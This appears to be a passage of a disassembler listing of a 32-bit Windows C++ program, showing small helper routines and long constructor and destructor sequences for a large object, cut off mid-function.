; =============== S U B R O U T I N E =======================================
sub_4160F0 proc near ; CODE XREF: sub_401EA6j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4160F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416120 proc near ; CODE XREF: sub_401CFDj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_4012CB
mov edi, eax
push edi
call sub_4017D5
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401DA2
sub_416120 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_4017D5
push edi
mov [eax], ebx
call sub_4017D5
mov edi, [eax]
push edi
call sub_4017D5
mov ecx, [eax]
push ecx
call sub_401BB8
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_4017DA
add esp, 4
mov ecx, esi
push eax
call sub_401DFC
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401D66
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4161C0 proc near ; CODE XREF: sub_401078j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401EA1
mov ecx, eax
call sub_4012CB
mov esi, eax
push esi
call sub_401BB8
push esi
mov ebx, eax
call sub_4017D5
mov ecx, [eax]
push ecx
call sub_401BB8
mov edx, [ebx]
push esi
mov [eax], edx
call sub_4017D5
push esi
mov ebx, eax
call sub_401BB8
mov eax, [eax]
push eax
call sub_4017D5
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4017DA
add esp, 1Ch
mov ecx, edi
push eax
call sub_4013F7
push esi
mov ecx, edi
call sub_401EF6
sub_4161C0 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416280 proc near ; CODE XREF: sub_401401j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jz short loc_4162DA
loc_416298: ; CODE XREF: sub_416280+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401EA1
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401339
test al, al
jnz short loc_416298
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4162DA: ; CODE XREF: sub_416280+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_416280 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416310 proc near ; CODE XREF: sub_401DA2j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401E9C
sub_416310 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_416325
mov edi, esi
loc_416325: ; CODE XREF: ___:00416321j
push esi
call sub_401BB8
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_41633A
mov edi, esi
loc_41633A: ; CODE XREF: ___:00416336j
push esi
call sub_4017D5
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416360 proc near ; CODE XREF: sub_401EF6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401857
sub_416360 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416380 proc near ; CODE XREF: sub_401BB8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416380 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163A0 proc near ; CODE XREF: sub_4017DAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4163A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163C0 proc near ; CODE XREF: sub_401E29j
mov eax, ecx
retn
sub_4163C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4163E0 proc near ; CODE XREF: sub_401D66j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40160E
mov eax, esi
pop esi
retn 4
sub_4163E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416410 proc near ; CODE XREF: sub_401EA1j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_40118B
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_416410 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416440 proc near ; CODE XREF: sub_40144Cj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_416440 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416470 proc near ; CODE XREF: sub_401104j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_416470 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416490 proc near ; CODE XREF: sub_4020D6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_416490 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4164C0 proc near ; CODE XREF: sub_401E01j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_4164C0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4164E0 proc near ; CODE XREF: sub_402194j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_40125D
add esp, 8
retn 8
sub_4164E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416510 proc near ; CODE XREF: sub_4014F6j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_6
pop ecx
retn 4
sub_416510 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416530 proc near ; CODE XREF: sub_401753j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_416530 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416550 proc near ; CODE XREF: sub_401A4Bj
mov eax, [ecx]
push eax
call sub_401EFB
add esp, 4
retn
sub_416550 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416570 proc near ; CODE XREF: sub_4020EFj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40208B
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_416570 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165A0 proc near ; CODE XREF: sub_401CA8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401E56
neg al
sbb eax, eax
inc eax
retn 4
sub_4165A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165D0 proc near ; CODE XREF: sub_401C4Ej
mov eax, [ecx]
retn
sub_4165D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4165F0 proc near ; CODE XREF: sub_401163j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4165F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416610 proc near ; CODE XREF: sub_4015A5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_416610 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416640 proc near ; CODE XREF: sub_4010D7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_416640 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416660 proc near ; CODE XREF: sub_4015E6j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_402040
add esp, 8
retn 8
sub_416660 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416690 proc near ; CODE XREF: sub_401D4Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_5
pop ecx
retn 4
sub_416690 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166B0 proc near ; CODE XREF: sub_401357j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4166B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166D0 proc near ; CODE XREF: sub_401F6Ej
mov eax, [ecx]
retn
sub_4166D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4166F0 proc near ; CODE XREF: sub_4017D5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_4166F0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416710 proc near ; CODE XREF: sub_401E9Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
sub_416710 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416740 proc near ; CODE XREF: sub_401857j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_416740 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416760 proc near ; CODE XREF: sub_401DFCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_4020CC
add esp, 8
retn 8
sub_416760 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416790 proc near ; CODE XREF: sub_4013F7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_3
pop ecx
retn 4
sub_416790 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167B0 proc near ; CODE XREF: sub_40160Ej
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_4167B0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167D0 proc near ; CODE XREF: sub_4012CBj
mov eax, [ecx]
retn
sub_4167D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4167F0 proc near ; CODE XREF: sub_401E56j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_4167F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416820 proc near ; CODE XREF: sub_40125Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41683B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41683B: ; CODE XREF: sub_416820+11j
retn
sub_416820 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416870 proc near ; CODE XREF: sub_402040j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_41688B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_41688B: ; CODE XREF: sub_416870+11j
retn
sub_416870 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168C0 proc near ; CODE XREF: sub_4020CCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_4168DB
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_4168DB: ; CODE XREF: sub_4168C0+11j
retn
sub_4168C0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr db '',1Bh,0
align 4
dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447148B9h
dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
dd 447148B9h, 0B2CAE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_416990: ; CODE XREF: ___:00401C44j
push 0FFFFFFFFh
push offset loc_439FE1
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+4], esi
lea ecx, [esi+9FD83h]
mov dword ptr [esp+10h], 1Ah
call sub_4021DA
; ---------------------------------------------------------------------------
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+10h], 19h
call sub_401226
lea ecx, [esi+9FD57h]
mov byte ptr [esp+10h], 18h
call sub_401226
lea ecx, [esi+9FD42h]
mov byte ptr [esp+10h], 17h
call sub_401226
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+10h], 16h
call sub_401226
lea ecx, [esi+9FC42h]
mov byte ptr [esp+10h], 15h
call sub_401EE2
lea ecx, [esi+9FC31h]
mov byte ptr [esp+10h], 14h
call sub_40176C
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+10h], 13h
call sub_401FF5
lea ecx, [esi+9FBCDh]
mov byte ptr [esp+10h], 12h
call sub_401DED
lea ecx, [esi+9FB93h]
mov byte ptr [esp+10h], 11h
call sub_40187A
lea ecx, [esi+9FB05h]
mov byte ptr [esp+10h], 10h
call sub_401113
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+10h], 0Fh
call sub_401F28
lea ecx, [esi+9FA73h]
mov byte ptr [esp+10h], 0Eh
call sub_401B27
lea ecx, [esi+9FA13h]
mov byte ptr [esp+10h], 0Dh
call sub_4017D0
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+10h], 0Ch
call sub_4018CA
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+10h], 0Bh
call sub_401EB0
lea ecx, [esi+8F285h]
mov byte ptr [esp+10h], 0Ah
call sub_402216
lea ecx, [esi+8F270h]
mov byte ptr [esp+10h], 9
call sub_4017A3
lea ecx, [esi+8F247h]
mov byte ptr [esp+10h], 8
call sub_401A23
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+10h], 7
call sub_4013C0
; ---------------------------------------------------------------------------
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+10h], 6
call sub_401235
lea ecx, [esi+1D29h]
mov byte ptr [esp+10h], 5
call sub_401E83
lea ecx, [esi+1C58h]
mov byte ptr [esp+10h], 4
call sub_4014F1
lea ecx, [esi+1BBEh]
mov byte ptr [esp+10h], 3
call sub_401AE6
; ---------------------------------------------------------------------------
lea ecx, [esi+1B46h]
mov byte ptr [esp+10h], 2
call sub_401C8F
; ---------------------------------------------------------------------------
lea ecx, [esi+15Fh]
mov byte ptr [esp+10h], 1
call sub_401929
lea ecx, [esi+3Eh]
mov byte ptr [esp+10h], 0
call sub_40143D
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401262
; ---------------------------------------------------------------------------
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416C00 proc near ; CODE XREF: sub_401A23j
push esi
mov esi, ecx
mov eax, [esi+15h]
mov dword ptr [esi], offset off_43E050
test eax, eax
jle short loc_416C17
push eax
nop
call near ptr 71AB9639h
loc_416C17: ; CODE XREF: sub_416C00+Ej
mov ecx, esi
call sub_402031
pop esi
retn
sub_416C00 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416C30 proc near ; CODE XREF: ___:0040126Cj sub_4019BFj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401A23
test [esp+4+arg_0], 1
jz short loc_416C48
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_416C48: ; CODE XREF: sub_416C30+Dj
mov eax, esi
pop esi
retn 4
sub_416C30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416C60 proc near ; CODE XREF: sub_4017A3j
push esi
mov esi, ecx
mov eax, [esi+11h]
mov dword ptr [esi], offset off_43E05C
test eax, eax
jle short loc_416C77
push eax
call near ptr 71AB9639h
nop
loc_416C77: ; CODE XREF: sub_416C60+Ej
mov ecx, esi
call sub_402031
pop esi
retn
sub_416C60 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416C90: ; CODE XREF: ___:00401627j
; ___:loc_401C99j
push esi
mov esi, ecx
call sub_4017A3
test byte ptr [esp+8], 1
jz short loc_416CA8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_416CA8: ; CODE XREF: ___:00416C9Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416CC0 proc near ; CODE XREF: sub_40176Cj
mov dword ptr [ecx], offset off_43E068
jmp sub_402031
sub_416CC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416CE0: ; CODE XREF: ___:loc_40191Aj
; ___:0040218Aj
push esi
mov esi, ecx
call sub_40176C
test byte ptr [esp+8], 1
jz short loc_416CF8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_416CF8: ; CODE XREF: ___:00416CEDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416D10 proc near ; CODE XREF: sub_40187Aj
mov dword ptr [ecx], offset off_43E074
add ecx, 4
jmp sub_401023
sub_416D10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416D30: ; CODE XREF: ___:00401E42j
push 0FFFFFFFFh
push offset loc_43A1C1
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+8], esi
call sub_40209F
; ---------------------------------------------------------------------------
lea ecx, [esi+3Eh]
mov dword ptr [esp+14h], 0
call sub_4015DC
lea ecx, [esi+15Fh]
mov byte ptr [esp+14h], 1
call sub_40129E
lea ecx, [esi+1B46h]
mov byte ptr [esp+14h], 2
call sub_401FFA
; ---------------------------------------------------------------------------
lea ecx, [esi+1BBEh]
mov byte ptr [esp+14h], 3
call sub_4019F1
; ---------------------------------------------------------------------------
lea ecx, [esi+1C58h]
mov byte ptr [esp+14h], 4
call sub_40157D
lea ecx, [esi+1D29h]
mov byte ptr [esp+14h], 5
call sub_401645
lea ecx, [esi+1E6Fh]
mov byte ptr [esp+14h], 6
call sub_401776
lea ecx, [esi+8EF5Dh]
mov byte ptr [esp+14h], 7
call sub_401695
lea ecx, [esi+8F247h]
mov byte ptr [esp+14h], 8
call sub_401820
lea ecx, [esi+8F270h]
mov byte ptr [esp+14h], 9
call sub_4016B3
lea ecx, [esi+8F285h]
mov byte ptr [esp+14h], 0Ah
call sub_401415
lea ecx, [esi+8F3A2h]
mov byte ptr [esp+14h], 0Bh
call sub_401302
lea ecx, [esi+8F4BFh]
mov byte ptr [esp+14h], 0Ch
call sub_401271
lea ecx, [esi+8F51Fh]
mov byte ptr [esp+14h], 0Dh
call sub_401D11
lea ecx, [esi+9FA13h]
call sub_4012FD
lea ecx, [esi+9FA73h]
mov byte ptr [esp+14h], 0Eh
call sub_401A7D
lea ecx, [esi+9FAD3h]
mov byte ptr [esp+14h], 0Fh
call sub_401285
lea ecx, [esi+9FB05h]
mov byte ptr [esp+14h], 10h
call sub_401CA3
lea ecx, [esi+9FB93h]
mov byte ptr [esp+14h], 11h
call sub_402103
; ---------------------------------------------------------------------------
mov byte ptr [esp+14h], 12h
lea ecx, [esi+9FBCDh]
call sub_401573
lea ecx, [esi+9FBFFh]
mov byte ptr [esp+14h], 13h
call sub_40178F
lea ecx, [esi+9FC31h]
mov byte ptr [esp+14h], 14h
call sub_401069
lea ecx, [esi+9FC42h]
mov byte ptr [esp+14h], 15h
call sub_401073
lea ecx, [esi+9FD2Dh]
mov byte ptr [esp+14h], 16h
call sub_401424
lea ecx, [esi+9FD42h]
mov byte ptr [esp+14h], 17h
call sub_401424
lea ecx, [esi+9FD57h]
mov byte ptr [esp+14h], 18h
call sub_401424
lea ecx, [esi+9FD6Ch]
mov byte ptr [esp+14h], 19h
call sub_401424
lea eax, [esp+7]
lea ecx, [esi+9FD83h]
push eax
mov byte ptr [esp+18h], 1Ah
call sub_401AFA
; ---------------------------------------------------------------------------
mov ecx, [esp+0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416FB0 proc near ; CODE XREF: sub_401262j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_416FB0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401B09
sub_416FB0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+4]
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417020 proc near ; CODE XREF: sub_401929j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417020
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+179Fh]
mov [esp+14h+var_4], 3Ch
call sub_40206D
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_40206D
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_40206D
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_40206D
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_40206D
mov byte ptr [esp+14h+var_4], 37h
lea ecx, [esi+0E51h]
call sub_401023
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401023
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401023
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401023
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401023
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401023
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401023
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401023
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401023
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401023
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401023
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401023
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401023
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401023
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401023
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401023
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401023
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_401AD2
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_401AD2
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_401AD2
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_401AD2
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_401AD2
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_401AD2
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_401AD2
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_401AD2
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_401AD2
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_401AD2
